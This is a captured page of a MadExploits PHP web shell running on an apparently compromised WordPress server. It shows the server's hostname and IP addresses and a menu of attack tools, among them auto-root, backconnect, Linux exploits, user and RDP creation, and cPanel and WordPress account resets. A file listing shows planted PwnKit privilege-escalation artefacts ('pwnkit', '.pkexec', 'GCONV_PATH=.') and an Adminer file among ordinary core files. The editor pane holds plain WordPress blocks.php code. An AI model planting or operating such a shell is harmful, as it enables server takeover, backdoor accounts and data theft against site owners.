Linux epsilon.cneris.com 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
Apache
: 194.164.160.39 | : 3.139.64.42
Cant Read [ /etc/named.conf ]
7.4.33
essino.com
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
vhosts /
essino.com /
httpdocs /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
random_compat
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
admin-bar.php
29.72
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
atomlib.php
11.56
KB
-rw-r--r--
author-template.php
16.26
KB
-rw-r--r--
blocks.php
17.81
KB
-rw-r--r--
bookmark-template.php
11.64
KB
-rw-r--r--
bookmark.php
13.58
KB
-rw-r--r--
cache.php
21.36
KB
-rw-r--r--
canonical.php
27.82
KB
-rw-r--r--
capabilities.php
30.98
KB
-rw-r--r--
category-template.php
50.81
KB
-rw-r--r--
category.php
11.94
KB
-rw-r--r--
class-IXR.php
2.51
KB
-rw-r--r--
class-feed.php
523
B
-rw-r--r--
class-http.php
36.27
KB
-rw-r--r--
class-json.php
39.53
KB
-rw-r--r--
class-oembed.php
30.74
KB
-rw-r--r--
class-phpass.php
7.15
KB
-rw-r--r--
class-phpmailer.php
144.77
KB
-rw-r--r--
class-pop3.php
20.43
KB
-rw-r--r--
class-requests.php
29.09
KB
-rw-r--r--
class-simplepie.php
87.17
KB
-rw-r--r--
class-smtp.php
38.55
KB
-rw-r--r--
class-snoopy.php
36.9
KB
-rw-r--r--
class-walker-category-dropdown...
2.08
KB
-rw-r--r--
class-walker-category.php
7.57
KB
-rw-r--r--
class-walker-comment.php
13.33
KB
-rw-r--r--
class-walker-nav-menu.php
8.44
KB
-rw-r--r--
class-walker-page-dropdown.php
2.24
KB
-rw-r--r--
class-walker-page.php
6.83
KB
-rw-r--r--
class-wp-admin-bar.php
16.52
KB
-rw-r--r--
class-wp-ajax-response.php
5.01
KB
-rw-r--r--
class-wp-block-parser.php
14.86
KB
-rw-r--r--
class-wp-block-type-registry.p...
4.97
KB
-rw-r--r--
class-wp-block-type.php
4.7
KB
-rw-r--r--
class-wp-comment-query.php
42.21
KB
-rw-r--r--
class-wp-comment.php
8.75
KB
-rw-r--r--
class-wp-customize-control.php
24.47
KB
-rw-r--r--
class-wp-customize-manager.php
197.13
KB
-rw-r--r--
class-wp-customize-nav-menus.p...
53.08
KB
-rw-r--r--
class-wp-customize-panel.php
9.42
KB
-rw-r--r--
class-wp-customize-section.php
9.99
KB
-rw-r--r--
class-wp-customize-setting.php
27.58
KB
-rw-r--r--
class-wp-customize-widgets.php
64.74
KB
-rw-r--r--
class-wp-dependency.php
2.28
KB
-rw-r--r--
class-wp-editor.php
66.28
KB
-rw-r--r--
class-wp-embed.php
14.39
KB
-rw-r--r--
class-wp-error.php
4.81
KB
-rw-r--r--
class-wp-fatal-error-handler.p...
6.31
KB
-rw-r--r--
class-wp-feed-cache-transient....
2.5
KB
-rw-r--r--
class-wp-feed-cache.php
749
B
-rw-r--r--
class-wp-hook.php
13.77
KB
-rw-r--r--
class-wp-http-cookie.php
6.69
KB
-rw-r--r--
class-wp-http-curl.php
11.65
KB
-rw-r--r--
class-wp-http-encoding.php
6.35
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.25
KB
-rw-r--r--
class-wp-http-proxy.php
5.92
KB
-rw-r--r--
class-wp-http-requests-hooks.p...
1.83
KB
-rw-r--r--
class-wp-http-requests-respons...
4.29
KB
-rw-r--r--
class-wp-http-response.php
2.8
KB
-rw-r--r--
class-wp-http-streams.php
15.02
KB
-rw-r--r--
class-wp-image-editor-gd.php
12.75
KB
-rw-r--r--
class-wp-image-editor-imagick....
21.27
KB
-rw-r--r--
class-wp-image-editor.php
11.49
KB
-rw-r--r--
class-wp-list-util.php
6.25
KB
-rw-r--r--
class-wp-locale-switcher.php
4.91
KB
-rw-r--r--
class-wp-locale.php
14.29
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.76
KB
-rw-r--r--
class-wp-meta-query.php
22.89
KB
-rw-r--r--
class-wp-metadata-lazyloader.p...
5.26
KB
-rw-r--r--
class-wp-network-query.php
17.42
KB
-rw-r--r--
class-wp-network.php
11.93
KB
-rw-r--r--
class-wp-oembed-controller.php
5.88
KB
-rw-r--r--
class-wp-paused-extensions-sto...
4.82
KB
-rw-r--r--
class-wp-post-type.php
17.81
KB
-rw-r--r--
class-wp-post.php
6.29
KB
-rw-r--r--
class-wp-query.php
127.75
KB
-rw-r--r--
class-wp-recovery-mode-cookie-...
6.1
KB
-rw-r--r--
class-wp-recovery-mode-email-s...
7.81
KB
-rw-r--r--
class-wp-recovery-mode-key-ser...
4.18
KB
-rw-r--r--
class-wp-recovery-mode-link-se...
3.29
KB
-rw-r--r--
class-wp-recovery-mode.php
10.99
KB
-rw-r--r--
class-wp-rewrite.php
58.42
KB
-rw-r--r--
class-wp-role.php
2.6
KB
-rw-r--r--
class-wp-roles.php
8.13
KB
-rw-r--r--
class-wp-session-tokens.php
7.26
KB
-rw-r--r--
class-wp-simplepie-file.php
2.27
KB
-rw-r--r--
class-wp-simplepie-sanitize-ks...
1.73
KB
-rw-r--r--
class-wp-site-query.php
27.38
KB
-rw-r--r--
class-wp-site.php
7.13
KB
-rw-r--r--
class-wp-tax-query.php
18.98
KB
-rw-r--r--
class-wp-taxonomy.php
10.41
KB
-rw-r--r--
class-wp-term-query.php
33.84
KB
-rw-r--r--
class-wp-term.php
5.14
KB
-rw-r--r--
class-wp-text-diff-renderer-in...
716
B
-rw-r--r--
class-wp-text-diff-renderer-ta...
16.06
KB
-rw-r--r--
class-wp-theme.php
49.21
KB
-rw-r--r--
class-wp-user-meta-session-tok...
2.92
KB
-rw-r--r--
class-wp-user-query.php
30.49
KB
-rw-r--r--
class-wp-user.php
20.91
KB
-rw-r--r--
class-wp-walker.php
12.39
KB
-rw-r--r--
class-wp-widget-factory.php
3.69
KB
-rw-r--r--
class-wp-widget.php
17.42
KB
-rw-r--r--
class-wp-xmlrpc-server.php
202.98
KB
-rw-r--r--
class-wp.php
68.74
KB
-rw-r--r--
class.wp-dependencies.php
11.24
KB
-rw-r--r--
class.wp-scripts.php
16.79
KB
-rw-r--r--
class.wp-styles.php
9.61
KB
-rw-r--r--
comment-template.php
87.76
KB
-rw-r--r--
comment.php
112.67
KB
-rw-r--r--
compat.php
17.34
KB
-rw-r--r--
cron.php
31.7
KB
-rw-r--r--
date.php
34.78
KB
-rw-r--r--
default-constants.php
9.89
KB
-rw-r--r--
default-filters.php
25.12
KB
-rw-r--r--
default-widgets.php
2.13
KB
-rw-r--r--
deprecated.php
111.59
KB
-rw-r--r--
embed-template.php
344
B
-rw-r--r--
embed.php
46.02
KB
-rw-r--r--
error-protection.php
3.31
KB
-rw-r--r--
feed-atom-comments.php
5.25
KB
-rw-r--r--
feed-atom.php
3.01
KB
-rw-r--r--
feed-rdf.php
2.6
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.03
KB
-rw-r--r--
feed-rss2.php
3.69
KB
-rw-r--r--
feed.php
20.88
KB
-rw-r--r--
formatting.php
288.75
KB
-rw-r--r--
functions.php
214.8
KB
-rw-r--r--
functions.wp-scripts.php
12.53
KB
-rw-r--r--
functions.wp-styles.php
8.03
KB
-rw-r--r--
general-template.php
143.2
KB
-rw-r--r--
http.php
21.9
KB
-rw-r--r--
kses.php
55.89
KB
-rw-r--r--
l10n.php
50.71
KB
-rw-r--r--
link-template.php
135.24
KB
-rw-r--r--
load.php
42.13
KB
-rw-r--r--
locale.php
141
B
-rw-r--r--
media-template.php
47.78
KB
-rw-r--r--
media.php
141.37
KB
-rw-r--r--
meta.php
45.46
KB
-rw-r--r--
ms-blogs.php
22.58
KB
-rw-r--r--
ms-default-constants.php
4.67
KB
-rw-r--r--
ms-default-filters.php
6.26
KB
-rw-r--r--
ms-deprecated.php
19.44
KB
-rw-r--r--
ms-files.php
2.59
KB
-rw-r--r--
ms-functions.php
85.02
KB
-rw-r--r--
ms-load.php
19.1
KB
-rw-r--r--
ms-network.php
3.57
KB
-rw-r--r--
ms-settings.php
4.04
KB
-rw-r--r--
ms-site.php
42.05
KB
-rw-r--r--
nav-menu-template.php
21.49
KB
-rw-r--r--
nav-menu.php
39.72
KB
-rw-r--r--
option.php
67.92
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
96.32
KB
-rw-r--r--
plugin.php
31.32
KB
-rw-r--r--
post-formats.php
6.86
KB
-rw-r--r--
post-template.php
60.32
KB
-rw-r--r--
post-thumbnail-template.php
8.75
KB
-rw-r--r--
post.php
229.85
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
32.22
KB
-rw-r--r--
registration-functions.php
180
B
-rw-r--r--
registration.php
180
B
-rw-r--r--
rest-api.php
41.07
KB
-rw-r--r--
revision.php
21.08
KB
-rw-r--r--
rewrite.php
17.31
KB
-rw-r--r--
rss-functions.php
193
B
-rw-r--r--
rss.php
22.66
KB
-rw-r--r--
script-loader.php
107.04
KB
-rw-r--r--
session.php
243
B
-rw-r--r--
shortcodes.php
21.19
KB
-rw-r--r--
spl-autoload-compat.php
2.51
KB
-rw-r--r--
taxonomy.php
152.98
KB
-rw-r--r--
template-loader.php
2.63
KB
-rw-r--r--
template.php
20.34
KB
-rw-r--r--
theme.php
99.9
KB
-rw-r--r--
update.php
24.79
KB
-rw-r--r--
user.php
121.18
KB
-rw-r--r--
vars.php
5.58
KB
-rw-r--r--
version.php
762
B
-rw-r--r--
widgets.php
55.86
KB
-rw-r--r--
wlwmanifest.xml
1.02
KB
-rw-r--r--
wp-db.php
99.24
KB
-rw-r--r--
wp-diff.php
662
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blocks.php
<?php /** * Functions related to registering and parsing blocks. * * @package WordPress * @subpackage Blocks * @since 5.0.0 */ /** * Registers a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a * complete WP_Block_Type instance. In case a WP_Block_Type * is provided, the $args parameter will be ignored. * @param array $args { * Optional. Array of block type arguments. Any arguments may be defined, however the * ones described below are supported by default. Default empty array. * * @type callable $render_callback Callback used to render blocks of this block type. * } * @return WP_Block_Type|false The registered block type on success, or false on failure. */ function register_block_type( $name, $args = array() ) { return WP_Block_Type_Registry::get_instance()->register( $name, $args ); } /** * Unregisters a block type. * * @since 5.0.0 * * @param string|WP_Block_Type $name Block type name including namespace, or alternatively a * complete WP_Block_Type instance. * @return WP_Block_Type|false The unregistered block type on success, or false on failure. */ function unregister_block_type( $name ) { return WP_Block_Type_Registry::get_instance()->unregister( $name ); } /** * Determine whether a post or content string has blocks. * * This test optimizes for performance rather than strict accuracy, detecting * the pattern of a block but not validating its structure. For strict accuracy, * you should use the block parser on post content. * * @since 5.0.0 * @see parse_blocks() * * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post. * @return bool Whether the post has blocks. */ function has_blocks( $post = null ) { if ( ! is_string( $post ) ) { $wp_post = get_post( $post ); if ( $wp_post instanceof WP_Post ) { $post = $wp_post->post_content; } } return false !== strpos( (string) $post, '<!-- wp:' ); } /** * Determine whether a $post or a string contains a specific block type. * * This test optimizes for performance rather than strict accuracy, detecting * the block type exists but not validating its structure. For strict accuracy, * you should use the block parser on post content. * * @since 5.0.0 * @see parse_blocks() * * @param string $block_name Full Block type to look for. * @param int|string|WP_Post|null $post Optional. Post content, post ID, or post object. Defaults to global $post. * @return bool Whether the post content contains the specified block. */ function has_block( $block_name, $post = null ) { if ( ! has_blocks( $post ) ) { return false; } if ( ! is_string( $post ) ) { $wp_post = get_post( $post ); if ( $wp_post instanceof WP_Post ) { $post = $wp_post->post_content; } } /* * Normalize block name to include namespace, if provided as non-namespaced. * This matches behavior for WordPress 5.0.0 - 5.3.0 in matching blocks by * their serialized names. */ if ( false === strpos( $block_name, '/' ) ) { $block_name = 'core/' . $block_name; } // Test for existence of block by its fully qualified name. $has_block = false !== strpos( $post, '<!-- wp:' . $block_name . ' ' ); if ( ! $has_block ) { /* * If the given block name would serialize to a different name, test for * existence by the serialized form. */ $serialized_block_name = strip_core_block_namespace( $block_name ); if ( $serialized_block_name !== $block_name ) { $has_block = false !== strpos( $post, '<!-- wp:' . $serialized_block_name . ' ' ); } } return $has_block; } /** * Returns an array of the names of all registered dynamic block types. * * @since 5.0.0 * * @return array Array of dynamic block names. */ function get_dynamic_block_names() { $dynamic_block_names = array(); $block_types = WP_Block_Type_Registry::get_instance()->get_all_registered(); foreach ( $block_types as $block_type ) { if ( $block_type->is_dynamic() ) { $dynamic_block_names[] = $block_type->name; } } return $dynamic_block_names; } /** * Given an array of attributes, returns a string in the serialized attributes * format prepared for post content. * * The serialized result is a JSON-encoded string, with unicode escape sequence * substitution for characters which might otherwise interfere with embedding * the result in an HTML comment. * * @since 5.3.1 * * @param array $attributes Attributes object. * @return string Serialized attributes. */ function serialize_block_attributes( $block_attributes ) { $encoded_attributes = json_encode( $block_attributes ); $encoded_attributes = preg_replace( '/--/', '\\u002d\\u002d', $encoded_attributes ); $encoded_attributes = preg_replace( '/</', '\\u003c', $encoded_attributes ); $encoded_attributes = preg_replace( '/>/', '\\u003e', $encoded_attributes ); $encoded_attributes = preg_replace( '/&/', '\\u0026', $encoded_attributes ); // Regex: /\\"/ $encoded_attributes = preg_replace( '/\\\\"/', '\\u0022', $encoded_attributes ); return $encoded_attributes; } /** * Returns the block name to use for serialization. This will remove the default * "core/" namespace from a block name. * * @since 5.3.1 * * @param string $block_name Original block name. * @return string Block name to use for serialization. */ function strip_core_block_namespace( $block_name = null ) { if ( is_string( $block_name ) && 0 === strpos( $block_name, 'core/' ) ) { return substr( $block_name, 5 ); } return $block_name; } /** * Returns the content of a block, including comment delimiters. * * @since 5.3.1 * * @param string $block_name Block name. * @param array $attributes Block attributes. * @param string $content Block save content. * @return string Comment-delimited block content. */ function get_comment_delimited_block_content( $block_name = null, $block_attributes, $block_content ) { if ( is_null( $block_name ) ) { return $block_content; } $serialized_block_name = strip_core_block_namespace( $block_name ); $serialized_attributes = empty( $block_attributes ) ? '' : serialize_block_attributes( $block_attributes ) . ' '; if ( empty( $block_content ) ) { return sprintf( '<!-- wp:%s %s/-->', $serialized_block_name, $serialized_attributes ); } return sprintf( '<!-- wp:%s %s-->%s<!-- /wp:%s -->', $serialized_block_name, $serialized_attributes, $block_content, $serialized_block_name ); } /** * Returns the content of a block, including comment delimiters, serializing all * attributes from the given parsed block. * * This should be used when preparing a block to be saved to post content. * Prefer `render_block` when preparing a block for display. Unlike * `render_block`, this does not evaluate a block's `render_callback`, and will * instead preserve the markup as parsed. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block A single parsed block object. * @return string String of rendered HTML. */ function serialize_block( $block ) { $block_content = ''; $index = 0; foreach ( $block['innerContent'] as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : serialize_block( $block['innerBlocks'][ $index++ ] ); } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } return get_comment_delimited_block_content( $block['blockName'], $block['attrs'], $block_content ); } /** * Returns a joined string of the aggregate serialization of the given parsed * blocks. * * @since 5.3.1 * * @param WP_Block_Parser_Block[] $blocks Parsed block objects. * @return string String of rendered HTML. */ function serialize_blocks( $blocks ) { return implode( '', array_map( 'serialize_block', $blocks ) ); } /** * Filters and sanitizes block content to remove non-allowable HTML from * parsed block attribute values. * * @since 5.3.1 * * @param string $text Text that may contain block content. * @param array[]|string $allowed_html An array of allowed HTML elements * and attributes, or a context name * such as 'post'. * @param string[] $allowed_protocols Array of allowed URL protocols. * @return string The filtered and sanitized content result. */ function filter_block_content( $text, $allowed_html = 'post', $allowed_protocols = array() ) { $result = ''; if ( false !== strpos( $text, '<!--' ) && false !== strpos( $text, '--->' ) ) { $text = preg_replace_callback( '%<!--(.*?)--->%', '_filter_block_content_callback', $text ); } $blocks = parse_blocks( $text ); foreach ( $blocks as $block ) { $block = filter_block_kses( $block, $allowed_html, $allowed_protocols ); $result .= serialize_block( $block ); } return $result; } /** * Callback used for regular expression replacement in filter_block_content(). * * @private * @since 6.2.1 * * @param array $matches Array of preg_replace_callback matches. * @return string Replacement string. */ function _filter_block_content_callback( $matches ) { return '<!--' . rtrim( $matches[1], '-' ) . '-->'; } /** * Filters and sanitizes a parsed block to remove non-allowable HTML from block * attribute values. * * @since 5.3.1 * * @param WP_Block_Parser_Block $block The parsed block object. * @param array[]|string $allowed_html An array of allowed HTML * elements and attributes, or a * context name such as 'post'. * @param string[] $allowed_protocols Allowed URL protocols. * @return array The filtered and sanitized block object result. */ function filter_block_kses( $block, $allowed_html, $allowed_protocols = array() ) { $block['attrs'] = filter_block_kses_value( $block['attrs'], $allowed_html, $allowed_protocols ); if ( is_array( $block['innerBlocks'] ) ) { foreach ( $block['innerBlocks'] as $i => $inner_block ) { $block['innerBlocks'][ $i ] = filter_block_kses( $inner_block, $allowed_html, $allowed_protocols ); } } return $block; } /** * Filters and sanitizes a parsed block attribute value to remove non-allowable * HTML. * * @since 5.3.1 * * @param mixed $value The attribute value to filter. * @param array[]|string $allowed_html An array of allowed HTML elements * and attributes, or a context name * such as 'post'. * @param string[] $allowed_protocols Array of allowed URL protocols. * @return array The filtered and sanitized result. */ function filter_block_kses_value( $value, $allowed_html, $allowed_protocols = array() ) { if ( is_array( $value ) ) { foreach ( $value as $key => $inner_value ) { $filtered_key = filter_block_kses_value( $key, $allowed_html, $allowed_protocols ); $filtered_value = filter_block_kses_value( $inner_value, $allowed_html, $allowed_protocols ); if ( $filtered_key !== $key ) { unset( $value[ $key ] ); } $value[ $filtered_key ] = $filtered_value; } } elseif ( is_string( $value ) ) { return wp_kses( $value, $allowed_html, $allowed_protocols ); } return $value; } /** * Parses blocks out of a content string, and renders those appropriate for the excerpt. * * As the excerpt should be a small string of text relevant to the full post content, * this function renders the blocks that are most likely to contain such text. * * @since 5.0.0 * * @param string $content The content to parse. * @return string The parsed and filtered content. */ function excerpt_remove_blocks( $content ) { $allowed_inner_blocks = array( // Classic blocks have their blockName set to null. null, 'core/freeform', 'core/heading', 'core/html', 'core/list', 'core/media-text', 'core/paragraph', 'core/preformatted', 'core/pullquote', 'core/quote', 'core/table', 'core/verse', ); $allowed_blocks = array_merge( $allowed_inner_blocks, array( 'core/columns' ) ); /** * Filters the list of blocks that can contribute to the excerpt. * * If a dynamic block is added to this list, it must not generate another * excerpt, as this will cause an infinite loop to occur. * * @since 5.0.0 * * @param array $allowed_blocks The list of allowed blocks. */ $allowed_blocks = apply_filters( 'excerpt_allowed_blocks', $allowed_blocks ); $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { if ( in_array( $block['blockName'], $allowed_blocks, true ) ) { if ( ! empty( $block['innerBlocks'] ) ) { if ( 'core/columns' === $block['blockName'] ) { $output .= _excerpt_render_inner_columns_blocks( $block, $allowed_inner_blocks ); continue; } // Skip the block if it has disallowed or nested inner blocks. foreach ( $block['innerBlocks'] as $inner_block ) { if ( ! in_array( $inner_block['blockName'], $allowed_inner_blocks, true ) || ! empty( $inner_block['innerBlocks'] ) ) { continue 2; } } } $output .= render_block( $block ); } } return $output; } /** * Render inner blocks from the `core/columns` block for generating an excerpt. * * @since 5.2.0 * @access private * * @param array $columns The parsed columns block. * @param array $allowed_blocks The list of allowed inner blocks. * @return string The rendered inner blocks. */ function _excerpt_render_inner_columns_blocks( $columns, $allowed_blocks ) { $output = ''; foreach ( $columns['innerBlocks'] as $column ) { foreach ( $column['innerBlocks'] as $inner_block ) { if ( in_array( $inner_block['blockName'], $allowed_blocks, true ) && empty( $inner_block['innerBlocks'] ) ) { $output .= render_block( $inner_block ); } } } return $output; } /** * Renders a single block into a HTML string. * * @since 5.0.0 * * @global WP_Post $post The post to edit. * * @param array $block A single parsed block object. * @return string String of rendered HTML. */ function render_block( $block ) { global $post; /** * Allows render_block() to be shortcircuited, by returning a non-null value. * * @since 5.1.0 * * @param string $pre_render The pre-rendered content. Default null. * @param array $block The block being rendered. */ $pre_render = apply_filters( 'pre_render_block', null, $block ); if ( ! is_null( $pre_render ) ) { return $pre_render; } $source_block = $block; /** * Filters the block being rendered in render_block(), before it's processed. * * @since 5.1.0 * * @param array $block The block being rendered. * @param array $source_block An un-modified copy of $block, as it appeared in the source content. */ $block = apply_filters( 'render_block_data', $block, $source_block ); $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $is_dynamic = $block['blockName'] && null !== $block_type && $block_type->is_dynamic(); $block_content = ''; $index = 0; foreach ( $block['innerContent'] as $chunk ) { $block_content .= is_string( $chunk ) ? $chunk : render_block( $block['innerBlocks'][ $index++ ] ); } if ( ! is_array( $block['attrs'] ) ) { $block['attrs'] = array(); } if ( $is_dynamic ) { $global_post = $post; $block_content = $block_type->render( $block['attrs'], $block_content ); $post = $global_post; } /** * Filters the content of a single block. * * @since 5.0.0 * * @param string $block_content The block content about to be appended. * @param array $block The full block, including name and attributes. */ return apply_filters( 'render_block', $block_content, $block ); } /** * Parses blocks out of a content string. * * @since 5.0.0 * * @param string $content Post content. * @return array Array of parsed block objects. */ function parse_blocks( $content ) { /** * Filter to allow plugins to replace the server-side block parser * * @since 5.0.0 * * @param string $parser_class Name of block parser class. */ $parser_class = apply_filters( 'block_parser_class', 'WP_Block_Parser' ); $parser = new $parser_class(); return $parser->parse( $content ); } /** * Parses dynamic blocks out of `post_content` and re-renders them. * * @since 5.0.0 * @global WP_Post $post The post to edit. * * @param string $content Post content. * @return string Updated post content. */ function do_blocks( $content ) { $blocks = parse_blocks( $content ); $output = ''; foreach ( $blocks as $block ) { $output .= render_block( $block ); } // If there are blocks in this content, we shouldn't run wpautop() on it later. $priority = has_filter( 'the_content', 'wpautop' ); if ( false !== $priority && doing_filter( 'the_content' ) && has_blocks( $content ) ) { remove_filter( 'the_content', 'wpautop', $priority ); add_filter( 'the_content', '_restore_wpautop_hook', $priority + 1 ); } return $output; } /** * If do_blocks() needs to remove wpautop() from the `the_content` filter, this re-adds it afterwards, * for subsequent `the_content` usage. * * @access private * * @since 5.0.0 * * @param string $content The post content running through this filter. * @return string The unmodified content. */ function _restore_wpautop_hook( $content ) { $current_priority = has_filter( 'the_content', '_restore_wpautop_hook' ); add_filter( 'the_content', 'wpautop', $current_priority - 1 ); remove_filter( 'the_content', '_restore_wpautop_hook', $current_priority ); return $content; } /** * Returns the current version of the block format that the content string is using. * * If the string doesn't contain blocks, it returns 0. * * @since 5.0.0 * * @param string $content Content to test. * @return int The block format version is 1 if the content contains one or more blocks, 0 otherwise. */ function block_version( $content ) { return has_blocks( $content ) ? 1 : 0; }
Close